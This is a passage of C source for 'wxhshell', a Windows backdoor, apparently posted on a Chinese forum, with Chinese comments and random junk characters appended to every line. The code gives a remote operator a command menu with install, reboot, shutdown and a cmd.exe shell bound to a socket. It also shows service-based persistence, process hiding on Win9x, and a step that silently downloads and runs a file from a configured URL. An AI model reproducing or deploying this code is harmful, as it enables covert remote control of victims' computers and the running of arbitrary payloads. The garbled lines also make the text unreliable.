    switch(cmd[0]) { 67Z|=B !7  
  veg\A+:'  
  // 帮助 !q! =VC  
  case '?': { RZ9vQ\X U)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %8tlJQvu  
    break; vAi kd#C)  
  } T@uY6))>F  
  // 安装 <SUjz}_Oa:  
  case 'i': { l njaHol0  
    if(Install()) tB4- of3+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a5:Q%F<!  
    else %lAJ]$m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? r=cLC  
    break; )R+@vh#Q<$  
    } P}y}IR{6  
  // 卸载 ^_r8R__S:  
  case 'r': { eXWiTi@  
    if(Uninstall()) iTi<X|X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IM}T2\tZ}  
    else p mcy(<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J (Yfup  
    break; .G#S*L  
    } iV[g.sP-  
  // 显示 wxhshell 所在路径 s (J,TS#I]  
  case 'p': { B0NKav  
    char svExeFile[MAX_PATH]; ' D+h_*H  
    strcpy(svExeFile,"\n\r"); d>eVR  
      strcat(svExeFile,ExeFile); CeoK@y=o  
        send(wsh,svExeFile,strlen(svExeFile),0); "d>{hP  
    break; F_U3+J>  
    } `UL #g![J  
  // 重启 "?hEGJ;m"  
  case 'b': { bWo-( qxq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2c@R!*  
    if(Boot(REBOOT)) 5b R;R{:x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )V%xbDdS  
    else { (Sr&Y1D  
    closesocket(wsh); +.&#whEw(i  
    ExitThread(0); z _~f/  
    } &i4*tE3],  
    break; Gvw4ot/  
    } ~mx me6"v  
  // 关机 \T'uFy9&a  
  case 'd': { h}i /u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >nkd U  
    if(Boot(SHUTDOWN)) MQY^#N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L"A,7@:Vd  
    else { g8 ,V( ^  
    closesocket(wsh); RyKsM.   
    ExitThread(0); kXA o+l  
    } aErms-~  
    break; 4<)%Esyb  
    } b"t95qlL  
  // 获取shell : I28Zi*  
  case 's': { ao#{N=mn  
    CmdShell(wsh); s\,F 6c  
    closesocket(wsh); qP6]}Aj]  
    ExitThread(0); a H'iW)  
    break; QpwOrxI}  
  } t/LQ|/xo  
  // 退出 ,J"6(nk  
  case 'x': { EFu2&P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &WE|9  
    CloseIt(wsh); vF0#]  
    break; k`U")lv  
    } l9"0Wu@_x  
  // 离开 3~}G~ t  
  case 'q': { [URo#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hC?:XVt  
    closesocket(wsh); $As;Tvw.  
    WSACleanup(); @ |v4B[/  
    exit(1); <61T)7  
    break; xV[X#.3  
        } OF&{mJH"g'  
  } RiqYC3Ka  
  } M?Tb9c?`  
T_|%n F-+  
  // 提示信息 '8K5=|!J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i,1=5@rw5  
} ~+}w>jIm{|  
  } S#6{4x4  
Fxdu)F,~u  
  return; z %{Z  
} 2jV.\C k  
losm<  
// shell模块句柄 56t9h/y  
int CmdShell(SOCKET sock) 6z=h0,Y}  
{ QE*O~Yj  
STARTUPINFO si; 16ahU$@-  
ZeroMemory(&si,sizeof(si)); ~A2{$C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =B<>H$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r:lv[/ D  
PROCESS_INFORMATION ProcessInfo; iz!E1(z(  
char cmdline[]="cmd"; B/.+&AJw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *F0O*n*7W  
  return 0; g*?)o!_*  
} ~sT/t1Rp  
)zz^RB\p  
// 自身启动模式 H6%QM}t  
int StartFromService(void) (? j $n?p  
{ 8}z]B^?Fy  
typedef struct yH5^EY7rQ  
{ 5S`_q&  
  DWORD ExitStatus; XG FjqZr`  
  DWORD PebBaseAddress; |b" h+  
  DWORD AffinityMask; ]=\vl>W  
  DWORD BasePriority; ?3 {&"  
  ULONG UniqueProcessId; BH6)`0&2*N  
  ULONG InheritedFromUniqueProcessId; qniP`P4E  
}   PROCESS_BASIC_INFORMATION; IZ+kw.6e  
V}gP'f07zy  
PROCNTQSIP NtQueryInformationProcess; CZ* #FY  
Agt6G\ n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &J(+XJM%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6/_] |4t  
[mwJ*GJ-  
  HANDLE             hProcess; 81Ixs Qt  
  PROCESS_BASIC_INFORMATION pbi; 3SI:su  
jej|B#?`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h!.#r*vV  
  if(NULL == hInst ) return 0; u"eO&Vc  
8w1TX [b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pa4,W!t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zY_xJ"/9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "c5C0 pK0  
ZI.;7G@|  
  if (!NtQueryInformationProcess) return 0; ,{DZvif   
f}{ lRk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *FhD%><  
  if(!hProcess) return 0; W*?mc2;/  
Z3jh-{0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }*eiG  
|^!#x Tj  
  CloseHandle(hProcess); N6K%Wkz  
X 'D~#r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PL vz1}ts  
if(hProcess==NULL) return 0; FyD^\6/x  
6G2s^P1Dl@  
HMODULE hMod; bz5",8Mn  
char procName[255]; /tIR}qK  
unsigned long cbNeeded; nADt8  
~q0g7?}&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '2)c;/-E  
&"X6s%ZH|  
  CloseHandle(hProcess); fzcPi9+  
r*$$82s  
if(strstr(procName,"services")) return 1; // 以服务启动 xX;@ BS  
>JdA,i}1  
  return 0; // 注册表启动 >6 p <n  
} ~9#x/EG/  
5gP<+S#>T  
// 主模块 X( Q*(_  
int StartWxhshell(LPSTR lpCmdLine) zx)^!dEMM  
{ [t)omPy<c  
  SOCKET wsl; W5'07N^  
BOOL val=TRUE; b _Q:v&  
  int port=0; RSL%<  
  struct sockaddr_in door; Jt-s6-2  
-^A=U7  
  if(wscfg.ws_autoins) Install(); _`RzPIS^  
%Xm3m0nsv{  
port=atoi(lpCmdLine); )HZUCi/F]  
\=n0@1Q=>  
if(port<=0) port=wscfg.ws_port; O<}^`4d  
f1eY2UtWQ  
  WSADATA data; gkxEy5c[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s=)0y$  
do3 BI4Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #$\cRLPg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;=rMIi  
  door.sin_family = AF_INET; [>`[1;aX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mX@Un9k  
  door.sin_port = htons(port); {sn:Lj0  
%y@iA91K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @\~qXz{6J  
closesocket(wsl); NF?FEUoxz  
return 1; iQ[0d.(A  
} 9C$#A+~C  
`b(y 5Z  
  if(listen(wsl,2) == INVALID_SOCKET) { sOyWsXd+R'  
closesocket(wsl); iz|mJUx  
return 1; w1zI"G~4/Q  
} `i{k^Q  
  Wxhshell(wsl); TmN}TMhZ  
  WSACleanup(); IKJ~sw~AQ  
O5"o/Y~m  
return 0; c[=%v]j:u  
WA);Z=  
} hl4@Y#n  
OL+!,Y  
// 以NT服务方式启动 6~g:"}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !*46@sb:  
{ >.R6\>N%  
DWORD   status = 0; S6sSdo'  
  DWORD   specificError = 0xfffffff; 4fDo}~  
' pE %'8R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )B d`N^k+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FV[6">;g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1'|6IR1'  
  serviceStatus.dwWin32ExitCode     = 0; nMU#g])y)  
  serviceStatus.dwServiceSpecificExitCode = 0; 3t(8uG<rL  
  serviceStatus.dwCheckPoint       = 0; 47Y| 1  
  serviceStatus.dwWaitHint       = 0; Q37VhScs  
K#"@nVWJ.m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;O YwZ  
  if (hServiceStatusHandle==0) return; E(G=~>P  
Fa(}:Ug  
status = GetLastError(); `I$qMw,@  
  if (status!=NO_ERROR) ?e |'I"  
{ rT`D@ I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #vO3*-hs  
    serviceStatus.dwCheckPoint       = 0; o3H+.u$  
    serviceStatus.dwWaitHint       = 0; Xco$ yF%  
    serviceStatus.dwWin32ExitCode     = status; Tb-`0^y&X1  
    serviceStatus.dwServiceSpecificExitCode = specificError; =N,KVMxw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y)3(  
    return; MDkIaz\U  
  } }9C5U>?  
c%.f|/.k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9X&Xs/B  
  serviceStatus.dwCheckPoint       = 0; =q|fe%#  
  serviceStatus.dwWaitHint       = 0; p71% -nV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?o0#h  
} dRZor gar  
< %Qw dEO  
// 处理NT服务事件,比如:启动、停止 >qA5   
VOID WINAPI NTServiceHandler(DWORD fdwControl) i_GE9A=h  
{ A>L(#lz#ek  
switch(fdwControl) Fqzk/m  
{ Q6S[sTKR  
case SERVICE_CONTROL_STOP: oB[3? e  
  serviceStatus.dwWin32ExitCode = 0; <$.KCLP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Uz:zB  
  serviceStatus.dwCheckPoint   = 0; #e%.z+7I  
  serviceStatus.dwWaitHint     = 0; aMTY{  
  { )!dELS \ix  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <.3@-z>w2,  
  } tC+9W1o  
  return; b* Ipg8n+  
case SERVICE_CONTROL_PAUSE: .<Z7 K @  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i7~oZ)w  
  break; ej,MmLu~^  
case SERVICE_CONTROL_CONTINUE: NrvS/ cI!t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '4sT+q  
  break; BO\l>\)Ir  
case SERVICE_CONTROL_INTERROGATE: :Puv8[1i  
  break; o*n""m  
}; Fc}wu W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2W pe( \(  
} EpGe'S  
[[D}vL8d  
// 标准应用程序主函数 :0T]p"y4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?HIc=  
{ `n-e.{O((  
u2<:mu[|P  
// 获取操作系统版本 Oe9{`~  
OsIsNt=GetOsVer(); ;lGa.RD[a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d$rJW m5H  
KHr8\qLH  
  // 从命令行安装 1jmhh !,  
  if(strpbrk(lpCmdLine,"iI")) Install(); *Oz5I  
| 7>1)  
  // 下载执行文件 RA[` Cp"  
if(wscfg.ws_downexe) { r"fu{4aX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) va8:QHdU  
  WinExec(wscfg.ws_filenam,SW_HIDE); uMsKF%m  
} @ x*#7Y  
 v )7d  
if(!OsIsNt) { (I.uQP~H  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cu;X{F'H  
HideProc(); `j>qOT  
StartWxhshell(lpCmdLine); <O$'3 _S"D  
} l%Sz6  
else tzpGKhrk6  
  if(StartFromService()) wX 41R]pF  
  // 以服务方式启动 6X|KKsPzX  
  StartServiceCtrlDispatcher(DispatchTable); $ O!f*lG  
else @YwaOc_%  
  // 普通方式启动 k5-mK{RZ  
  StartWxhshell(lpCmdLine); -I=}SZ  
">fgoDQ  
return 0; QHs=Zh;"  
}
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只看该作者 1 发表于: 2006-10-10
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